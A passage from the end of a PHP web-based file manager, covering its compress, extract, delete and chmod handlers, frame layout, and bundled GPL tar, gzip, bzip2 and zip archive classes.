4480 if (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
4481 elseif (strstr($cmd_arg,".zip")) $zipfile = new zip_file($cmd_arg);
4482 elseif (strstr($cmd_arg,".bzip")) $zipfile = new bzip_file($cmd_arg);
4483 elseif (strstr($cmd_arg,".gzip")) $zipfile = new gzip_file($cmd_arg);
4484 if ($zipfile){
4485 $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1,'level'=>3));
4486 if (strlen($selected_file_list)){
4487 $selected_file_list = explode("<|*|>",$selected_file_list);
4488 if (count($selected_file_list)) {
4489 for($x=0;$x<count($selected_file_list);$x++) {
4490 $selected_file_list[$x] = trim($selected_file_list[$x]);
4491 if (strlen($selected_file_list[$x])) $zipfile->add_files($selected_file_list[$x]);
4492 }
4493 }
4494 }
4495 if (strlen($selected_dir_list)){
4496 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4497 if (count($selected_dir_list)) {
4498 for($x=0;$x<count($selected_dir_list);$x++) {
4499 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4500 if (strlen($selected_dir_list[$x])) $zipfile->add_files($selected_dir_list[$x]);
4501 }
4502 }
4503 }
4504 $zipfile->create_archive();
4505 }
4506 unset($zipfile);
4507 }
4508 break;
4509 case 72: // decompress arq
4510 if (strlen($cmd_arg)){
4511 if (file_exists($current_dir.$cmd_arg)){
4512 $zipfile=false;
4513 if (strstr($cmd_arg,".zip")) zip_extract();
4514 elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg);
4515 elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg);
4516 elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
4517 if ($zipfile){
4518 $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1));
4519 $zipfile->extract_files();
4520 }
4521 unset($zipfile);
4522 reloadframe("parent",2);
4523 }
4524 }
4525 break;
4526 case 8: // delete arq/dir
4527 if (strlen($cmd_arg)){
4528 if (file_exists($current_dir.$cmd_arg)) total_delete($current_dir.$cmd_arg);
4529 if (is_dir($current_dir.$cmd_arg)) reloadframe("parent",2);
4530 }
4531 break;
4532 case 9: // CHMOD
4533 if((strlen($chmod_arg) == 4)&&(strlen($current_dir))){
4534 if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg;
4535 else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3);
4536 $new_mod = octdec($chmod_arg);
4537 if (strlen($selected_file_list)){
4538 $selected_file_list = explode("<|*|>",$selected_file_list);
4539 if (count($selected_file_list)) {
4540 for($x=0;$x<count($selected_file_list);$x++) {
4541 $selected_file_list[$x] = trim($selected_file_list[$x]);
4542 if (strlen($selected_file_list[$x])) @chmod($current_dir.$selected_file_list[$x],$new_mod);
4543 }
4544 }
4545 }
4546 if (strlen($selected_dir_list)){
4547 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4548 if (count($selected_dir_list)) {
4549 for($x=0;$x<count($selected_dir_list);$x++) {
4550 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4551 if (strlen($selected_dir_list[$x])) @chmod($current_dir.$selected_dir_list[$x],$new_mod);
4552 }
4553 }
4554 }
4555 }
4556 break;
4557 }
4558 if ($action != 10) dir_list_form();
4559 } else dir_list_form();
4560 echo "</body>\n</html>";
4561}
4562function frame2(){
4563 global $expanded_dir_list,$ec_dir;
4564 if (!isset($expanded_dir_list)) $expanded_dir_list = "";
4565 if (strlen($ec_dir)){
4566 if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list);
4567 else $expanded_dir_list .= ":".$ec_dir;
4568 setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/");
4569 }
4570 show_tree();
4571}
4572function frameset(){
4573 global $path_info,$leftFrameWidth;
4574 if (!isset($leftFrameWidth)) $leftFrameWidth = 300;
4575 html_header();
4576 echo "
4577 <frameset cols=\"".$leftFrameWidth.",*\" framespacing=\"0\">
4578 <frameset rows=\"0,*\" framespacing=\"0\" frameborder=\"0\">
4579 <frame src=\"".$path_info["basename"]."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\">
4580 <frame src=\"".$path_info["basename"]."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
4581 </frameset>
4582 <frame src=\"".$path_info["basename"]."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
4583 </frameset>
4584 </html>";
4585}
4586// +--------------------------------------------------
4587// | Open Source Contributions
4588// +--------------------------------------------------
4589 /*-------------------------------------------------
4590 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
4591 | By Devin Doucette
4592 | Copyright (c) 2004 Devin Doucette
4593 | Email: darksnoopy@shaw.ca
4594 +--------------------------------------------------
4595 | Email bugs/suggestions to darksnoopy@shaw.ca
4596 +--------------------------------------------------
4597 | This script has been created and released under
4598 | the GNU GPL and is free to use and redistribute
4599 | only if this copyright statement is not removed
4600 +--------------------------------------------------
4601 | Limitations:
4602 | - Only USTAR archives are officially supported for extraction, but others may work.
4603 | - Extraction of bzip2 and gzip archives is limited to compatible tar files that have
4604 | been compressed by either bzip2 or gzip. For greater support, use the functions
4605 | bzopen and gzopen respectively for bzip2 and gzip extraction.
4606 | - Zip extraction is not supported due to the wide variety of algorithms that may be
4607 | used for compression and newer features such as encryption.
4608 +--------------------------------------------------
4609 */
4610class archive
4611{
4612 function archive($name)
4613 {
4614 $this->options = array(
4615 'basedir'=>".",
4616 'name'=>$name,
4617 'prepend'=>"",
4618 'inmemory'=>0,
4619 'overwrite'=>0,
4620 'recurse'=>1,
4621 'storepaths'=>1,
4622 'level'=>3,
4623 'method'=>1,
4624 'sfx'=>"",
4625 'type'=>"",
4626 'comment'=>""
4627 );
4628 $this->files = array();
4629 $this->exclude = array();
4630 $this->storeonly = array();
4631 $this->error = array();
4632 }
4633
4634 function set_options($options)
4635 {
4636 foreach($options as $key => $value)
4637 {
4638 $this->options[$key] = $value;
4639 }
4640 if(!empty($this->options['basedir']))
4641 {
4642 $this->options['basedir'] = str_replace("\\","/",$this->options['basedir']);
4643 $this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']);
4644 $this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']);
4645 }
4646 if(!empty($this->options['name']))
4647 {
4648 $this->options['name'] = str_replace("\\","/",$this->options['name']);
4649 $this->options['name'] = preg_replace("/\/+/","/",$this->options['name']);
4650 }
4651 if(!empty($this->options['prepend']))
4652 {
4653 $this->options['prepend'] = str_replace("\\","/",$this->options['prepend']);
4654 $this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']);
4655 $this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']);
4656 $this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/";
4657 }
4658 }
4659
4660 function create_archive()
4661 {
4662 $this->make_list();
4663
4664 if($this->options['inmemory'] == 0)
4665 {
4666 $Pwd = getcwd();
4667 chdir($this->options['basedir']);
4668 if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : "")))
4669 {
4670 $this->error[] = "File {$this->options['name']} already exists.";
4671 chdir($Pwd);
4672 return 0;
4673 }
4674 else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+"))
4675 {
4676 chdir($Pwd);
4677 }
4678 else
4679 {
4680 $this->error[] = "Could not open {$this->options['name']} for writing.";
4681 chdir($Pwd);
4682 return 0;
4683 }
4684 }
4685 else
4686 {
4687 $this->archive = "";
4688 }
4689
4690 switch($this->options['type'])
4691 {
4692 case "zip":
4693 if(!$this->create_zip())
4694 {
4695 $this->error[] = "Could not create zip file.";
4696 return 0;
4697 }
4698 break;
4699 case "bzip":
4700 if(!$this->create_tar())
4701 {
4702 $this->error[] = "Could not create tar file.";
4703 return 0;
4704 }
4705 if(!$this->create_bzip())
4706 {
4707 $this->error[] = "Could not create bzip2 file.";
4708 return 0;
4709 }
4710 break;
4711 case "gzip":
4712 if(!$this->create_tar())
4713 {
4714 $this->error[] = "Could not create tar file.";
4715 return 0;
4716 }
4717 if(!$this->create_gzip())
4718 {
4719 $this->error[] = "Could not create gzip file.";
4720 return 0;
4721 }
4722 break;
4723 case "tar":
4724 if(!$this->create_tar())
4725 {
4726 $this->error[] = "Could not create tar file.";
4727 return 0;
4728 }
4729 }
4730
4731 if($this->options['inmemory'] == 0)
4732 {
4733 fclose($this->archive);
4734 @chmod($this->options['name'],0644);
4735 if($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
4736 {
4737 unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
4738 }
4739 }
4740 }
4741
4742 function add_data($data)
4743 {
4744 if($this->options['inmemory'] == 0)
4745 {
4746 fwrite($this->archive,$data);
4747 }
4748 else
4749 {
4750 $this->archive .= $data;
4751 }
4752 }
4753
4754 function make_list()
4755 {
4756 if(!empty($this->exclude))
4757 {
4758 foreach($this->files as $key => $value)
4759 {
4760 foreach($this->exclude as $current)
4761 {
4762 if($value['name'] == $current['name'])
4763 {
4764 unset($this->files[$key]);
4765 }
4766 }
4767 }
4768 }
4769 if(!empty($this->storeonly))
4770 {
4771 foreach($this->files as $key => $value)
4772 {
4773 foreach($this->storeonly as $current)
4774 {
4775 if($value['name'] == $current['name'])
4776 {
4777 $this->files[$key]['method'] = 0;
4778 }
4779 }
4780 }
4781 }
4782 unset($this->exclude,$this->storeonly);
4783 }
4784
4785
4786 function add_files($list)
4787 {
4788 $temp = $this->list_files($list);
4789 foreach($temp as $current)
4790 {
4791 $this->files[] = $current;
4792 }
4793 }
4794
4795 function exclude_files($list)
4796 {
4797 $temp = $this->list_files($list);
4798 foreach($temp as $current)
4799 {
4800 $this->exclude[] = $current;
4801 }
4802 }
4803
4804 function store_files($list)
4805 {
4806 $temp = $this->list_files($list);
4807 foreach($temp as $current)
4808 {
4809 $this->storeonly[] = $current;
4810 }
4811 }
4812
4813 function list_files($list)
4814 {
4815 if(!is_array($list))
4816 {
4817 $temp = $list;
4818 $list = array($temp);
4819 unset($temp);
4820 }
4821
4822 $files = array();
4823
4824 $Pwd = getcwd();
4825 chdir($this->options['basedir']);
4826
4827 foreach($list as $current)
4828 {
4829 $current = str_replace("\\","/",$current);
4830 $current = preg_replace("/\/+/","/",$current);
4831 $current = preg_replace("/\/$/","",$current);
4832 if(strstr($current,"*"))
4833 {
4834 $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\\\\\\1",$current);
4835 $regex = str_replace("*",".*",$regex);
4836 $dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : ".";
4837 $temp = $this->parse_dir($dir);
4838 foreach($temp as $current2)
4839 {
4840 if(preg_match("/^{$regex}$/i",$current2['name']))
4841 {
4842 $files[] = $current2;
4843 }
4844 }
4845 unset($regex,$dir,$temp,$current);
4846 }
4847 else if(@is_dir($current))
4848 {
4849 $temp = $this->parse_dir($current);
4850 foreach($temp as $file)
4851 {
4852 $files[] = $file;
4853 }
4854 unset($temp,$file);
4855 }
4856 else if(@file_exists($current))
4857 {
4858 $files[] = array('name'=>$current,'name2'=>$this->options['prepend'] .
4859 preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))?
4860 substr($current,strrpos($current,"/") + 1) : $current),'type'=>0,
4861 'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current));
4862 }
4863 }
4864
4865 chdir($Pwd);
4866
4867 unset($current,$Pwd);
4868
4869 usort($files,array("archive","sort_files"));
4870
4871 return $files;
4872 }
4873
4874 function parse_dir($dirname)
4875 {
4876 if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname))
4877 {
4878 $files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] .
4879 preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))?
4880 substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname)));
4881 }
4882 else
4883 {
4884 $files = array();
4885 }
4886 $dir = @opendir($dirname);
4887
4888 while($file = @readdir($dir))
4889 {
4890 if($file == "." || $file == "..")
4891 {
4892 continue;
4893 }
4894 else if(@is_dir($dirname."/".$file))
4895 {
4896 if(empty($this->options['recurse']))
4897 {
4898 continue;
4899 }
4900 $temp = $this->parse_dir($dirname."/".$file);
4901 foreach($temp as $file2)
4902 {
4903 $files[] = $file2;
4904 }
4905 }
4906 else if(@file_exists($dirname."/".$file))
4907 {
4908 $files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] .
4909 preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))?
4910 substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0,
4911 'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file));
4912 }
4913 }
4914
4915 @closedir($dir);
4916
4917 return $files;
4918 }
4919
4920 function sort_files($a,$b)
4921 {
4922 if($a['type'] != $b['type'])
4923 {
4924 return $a['type'] > $b['type']? -1 : 1;
4925 }
4926 else if($a['type'] == 5)
4927 {
4928 return strcmp(strtolower($a['name']),strtolower($b['name']));
4929 }
4930 else
4931 {
4932 if($a['ext'] != $b['ext'])
4933 {
4934 return strcmp($a['ext'],$b['ext']);
4935 }
4936 else if($a['stat'][7] != $b['stat'][7])
4937 {
4938 return $a['stat'][7] > $b['stat'][7]? -1 : 1;
4939 }
4940 else
4941 {
4942 return strcmp(strtolower($a['name']),strtolower($b['name']));
4943 }
4944 }
4945 return 0;
4946 }
4947
4948 function download_file()
4949 {
4950 if($this->options['inmemory'] == 0)
4951 {
4952 $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
4953 return;
4954 }
4955 switch($this->options['type'])
4956 {
4957 case "zip":
4958 header("Content-type:application/zip");
4959 break;
4960 case "bzip":
4961 header("Content-type:application/x-compressed");
4962 break;
4963 case "gzip":
4964 header("Content-type:application/x-compressed");
4965 break;
4966 case "tar":
4967 header("Content-type:application/x-tar");
4968 }
4969 $header = "Content-disposition: attachment; filename=\"";
4970 $header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name'];
4971 $header .= "\"";
4972 header($header);
4973 header("Content-length: " . strlen($this->archive));
4974 header("Content-transfer-encoding: binary");
4975 header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0");
4976 header("Pragma: no-cache");
4977 header("Expires: 0");
4978 print($this->archive);
4979 }
4980}
4981
4982class tar_file extends archive
4983{
4984 function tar_file($name)
4985 {
4986 $this->archive($name);
4987 $this->options['type'] = "tar";
4988 }
4989
4990 function create_tar()
4991 {
4992 $Pwd = getcwd();
4993 chdir($this->options['basedir']);
4994
4995 foreach($this->files as $current)
4996 {
4997 if($current['name'] == $this->options['name'])
4998 {
4999 continue;
5000 }
5001 if(strlen($current['name2']) > 99)
5002 {
5003 $Path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1);
5004 $current['name2'] = substr($current['name2'],strlen($Path));
5005 if(strlen($Path) > 154 || strlen($current['name2']) > 99)
5006 {
5007 $this->error[] = "Could not add {$Path}{$current['name2']} to archive because the filename is too long.";
5008 continue;
5009 }
5010 }
5011 $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]),
5012 sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])),
5013 sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])),
5014 " ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($Path)? $Path : "","");
5015
5016 $checksum = 0;
5017 for($i = 0; $i < 512; $i++)
5018 {
5019 $checksum += ord(substr($block,$i,1));
5020 }
5021 $checksum = pack("a8",sprintf("%6s ",decoct($checksum)));
5022 $block = substr_replace($block,$checksum,148,8);
5023
5024 if($current['stat'][7] == 0)
5025 {
5026 $this->add_data($block);
5027 }
5028 else if($fp = @fopen($current['name'],"rb"))
5029 {
5030 $this->add_data($block);
5031 while($temp = fread($fp,1048576))
5032 {
5033 $this->add_data($temp);
5034 }
5035 if($current['stat'][7] % 512 > 0)
5036 {
5037 $temp = "";
5038 for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
5039 {
5040 $temp .= "\0";
5041 }
5042 $this->add_data($temp);
5043 }
5044 fclose($fp);
5045 }
5046 else
5047 {
5048 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
5049 }
5050 }
5051
5052 $this->add_data(pack("a512",""));
5053
5054 chdir($Pwd);
5055
5056 return 1;
5057
5058 }
5059
5060 function extract_files()
5061 {
5062 $Pwd = getcwd();
5063 chdir($this->options['basedir']);
5064
5065 if($fp = $this->open_archive())
5066 {
5067 if($this->options['inmemory'] == 1)
5068 {
5069 $this->files = array();
5070 }
5071
5072 while($block = fread($fp,512))
5073 {
5074 $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block);
5075 $file = array(
5076 'name'=>$temp['prefix'] . $temp['name'],
5077 'stat'=>array(
5078 2=>$temp['mode'],
5079 4=>octdec($temp['uid']),
5080 5=>octdec($temp['gid']),
5081 7=>octdec($temp['size']),
5082 9=>octdec($temp['mtime']),
5083 ),
5084 'checksum'=>octdec($temp['checksum']),
5085 'type'=>$temp['type'],
5086 'magic'=>$temp['magic'],
5087 );
5088 if($file['checksum'] == 0x00000000)
5089 {
5090 break;
5091 }
5092 else if($file['magic'] != "ustar")
5093 {
5094 $this->error[] = "This script does not support extracting this type of tar file.";
5095 break;
5096 }
5097 $block = substr_replace($block," ",148,8);
5098 $checksum = 0;
5099 for($i = 0; $i < 512; $i++)
5100 {
5101 $checksum += ord(substr($block,$i,1));
5102 }
5103 if($file['checksum'] != $checksum)
5104 {
5105 $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
5106 }
5107
5108 if($this->options['inmemory'] == 1)
5109 {
5110 $file['data'] = fread($fp,$file['stat'][7]);
5111 fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
5112 unset($file['checksum'],$file['magic']);
5113 $this->files[] = $file;
5114 }
5115 else
5116 {
5117 if($file['type'] == 5)
5118 {
5119 if(!is_dir($file['name']))
5120 {
5121 mkdir($file['name'],0755);
5122 //mkdir($file['name'],$file['stat'][2]);
5123 //chown($file['name'],$file['stat'][4]);
5124 //chgrp($file['name'],$file['stat'][5]);
5125 }
5126 }
5127 else if($this->options['overwrite'] == 0 && file_exists($file['name']))
5128 {
5129 $this->error[] = "{$file['name']} already exists.";
5130 }
5131 else if($new = @fopen($file['name'],"wb"))
5132 {
5133 fwrite($new,fread($fp,$file['stat'][7]));
5134 fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
5135 fclose($new);
5136 @chmod($file['name'],0644);
5137 //chmod($file['name'],$file['stat'][2]);
5138 //chown($file['name'],$file['stat'][4]);
5139 //chgrp($file['name'],$file['stat'][5]);
5140 }
5141 else
5142 {
5143 $this->error[] = "Could not open {$file['name']} for writing.";
5144 }
5145 }
5146 unset($file);
5147 }
5148 }
5149 else
5150 {
5151 $this->error[] = "Could not open file {$this->options['name']}";
5152 }
5153
5154 chdir($Pwd);
5155 }
5156
5157 function open_archive()
5158 {
5159 return @fopen($this->options['name'],"rb");
5160 }
5161}
5162
5163class gzip_file extends tar_file
5164{
5165 function gzip_file($name)
5166 {
5167 $this->tar_file($name);
5168 $this->options['type'] = "gzip";
5169 }
5170
5171 function create_gzip()
5172 {
5173 if($this->options['inmemory'] == 0)
5174 {
5175 $Pwd = getcwd();
5176 chdir($this->options['basedir']);
5177 if($fp = gzopen($this->options['name'],"wb{$this->options['level']}"))
5178 {
5179 fseek($this->archive,0);
5180 while($temp = fread($this->archive,1048576))
5181 {
5182 gzwrite($fp,$temp);
5183 }
5184 gzclose($fp);
5185 chdir($Pwd);
5186 }
5187 else
5188 {
5189 $this->error[] = "Could not open {$this->options['name']} for writing.";
5190 chdir($Pwd);
5191 return 0;
5192 }
5193 }
5194 else
5195 {
5196 $this->archive = gzencode($this->archive,$this->options['level']);
5197 }
5198
5199 return 1;
5200 }
5201
5202 function open_archive()
5203 {
5204 return @gzopen($this->options['name'],"rb");
5205 }
5206}
5207
5208class bzip_file extends tar_file
5209{
5210 function bzip_file($name)
5211 {
5212 $this->tar_file($name);
5213 $this->options['type'] = "bzip";
5214 }
5215
5216 function create_bzip()
5217 {
5218 if($this->options['inmemory'] == 0)
5219 {
5220 $Pwd = getcwd();
5221 chdir($this->options['basedir']);
5222 if($fp = bzopen($this->options['name'],"wb"))
5223 {
5224 fseek($this->archive,0);
5225 while($temp = fread($this->archive,1048576))
5226 {
5227 bzwrite($fp,$temp);
5228 }
5229 bzclose($fp);
5230 chdir($Pwd);
5231 }
5232 else
5233 {
5234 $this->error[] = "Could not open {$this->options['name']} for writing.";
5235 chdir($Pwd);
5236 return 0;
5237 }
5238 }
5239 else
5240 {
5241 $this->archive = bzcompress($this->archive,$this->options['level']);
5242 }
5243
5244 return 1;
5245 }
5246
5247 function open_archive()
5248 {
5249 return @bzopen($this->options['name'],"rb");
5250 }
5251}
5252
5253class zip_file extends archive
5254{
5255 function zip_file($name)
5256 {
5257 $this->archive($name);
5258 $this->options['type'] = "zip";
5259 }
5260
5261 function create_zip()
5262 {
5263 $files = 0;
5264 $offset = 0;
5265 $central = "";
5266
5267 if(!empty($this->options['sfx']))
5268 {
5269 if($fp = @fopen($this->options['sfx'],"rb"))
5270 {
5271 $temp = fread($fp,filesize($this->options['sfx']));
5272 fclose($fp);
5273 $this->add_data($temp);
5274 $offset += strlen($temp);
5275 unset($temp);
5276 }
5277 else
5278 {
5279 $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
5280 }
5281 }
5282
5283 $Pwd = getcwd();
5284 chdir($this->options['basedir']);
5285
5286 foreach($this->files as $current)
5287 {
5288 if($current['name'] == $this->options['name'])
5289 {
5290 continue;
5291 }
5292 $translate = array('Ç'=>pack("C",128),'ü'=>pack("C",129),'é'=>pack("C",130),'â'=>pack("C",131),'ä'=>pack("C",132),
5293 'à '=>pack("C",133),'å'=>pack("C",134),'ç'=>pack("C",135),'ê'=>pack("C",136),'ë'=>pack("C",137),
5294 'è'=>pack("C",138),'ï'=>pack("C",139),'î'=>pack("C",140),'ì'=>pack("C",141),'Ä'=>pack("C",142),
5295 'Å'=>pack("C",143),'É'=>pack("C",144),'æ'=>pack("C",145),'Æ'=>pack("C",146),'ô'=>pack("C",147),
5296 'ö'=>pack("C",148),'ò'=>pack("C",149),'û'=>pack("C",150),'ù'=>pack("C",151),'_'=>pack("C",152),
5297 'Ö'=>pack("C",153),'Ü'=>pack("C",154),'£'=>pack("C",156),'¥'=>pack("C",157),'_'=>pack("C",158),
5298 'Æ’'=>pack("C",159),'á'=>pack("C",160),'Ã'=>pack("C",161),'ó'=>pack("C",162),'ú'=>pack("C",163),
5299 'ñ'=>pack("C",164),'Ñ'=>pack("C",165));
5300 $current['name2'] = strtr($current['name2'],$translate);
5301
5302 $timedate = explode(" ",date("Y n j G i s",$current['stat'][9]));
5303 $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
5304 ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
5305
5306 $block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate);
5307
5308 if($current['stat'][7] == 0 && $current['type'] == 5)
5309 {
5310 $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000);
5311 $block .= $current['name2'] . "/";
5312 $this->add_data($block);
5313 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
5314 (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
5315 0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
5316 $central .= $current['name2'] . "/";
5317 $files++;
5318 $offset += (31 + strlen($current['name2']));
5319 }
5320 else if($current['stat'][7] == 0)
5321 {
5322 $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000);
5323 $block .= $current['name2'];
5324 $this->add_data($block);
5325 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
5326 (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
5327 0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
5328 $central .= $current['name2'];
5329 $files++;
5330 $offset += (30 + strlen($current['name2']));
5331 }
5332 else if($fp = @fopen($current['name'],"rb"))
5333 {
5334 $temp = fread($fp,$current['stat'][7]);
5335 fclose($fp);
5336 $crc32 = crc32($temp);
5337 if(!isset($current['method']) && $this->options['method'] == 1)
5338 {
5339 $temp = gzcompress($temp,$this->options['level']);
5340 $size = strlen($temp) - 6;
5341 $temp = substr($temp,2,$size);
5342 }
5343 else
5344 {
5345 $size = strlen($temp);
5346 }
5347 $block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000);
5348 $block .= $current['name2'];
5349 $this->add_data($block);
5350 $this->add_data($temp);
5351 unset($temp);
5352 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
5353 (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
5354 $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset);
5355 $central .= $current['name2'];
5356 $files++;
5357 $offset += (30 + strlen($current['name2']) + $size);
5358 }
5359 else
5360 {
5361 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
5362 }
5363 }
5364
5365 $this->add_data($central);
5366
5367 $this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset,
5368 !empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000));
5369
5370 if(!empty($this->options['comment']))
5371 {
5372 $this->add_data($this->options['comment']);
5373 }
5374
5375 chdir($Pwd);
5376
5377 return 1;
5378 }
5379}
5380// +--------------------------------------------------
5381// | THE END
5382// +--------------------------------------------------
5383?>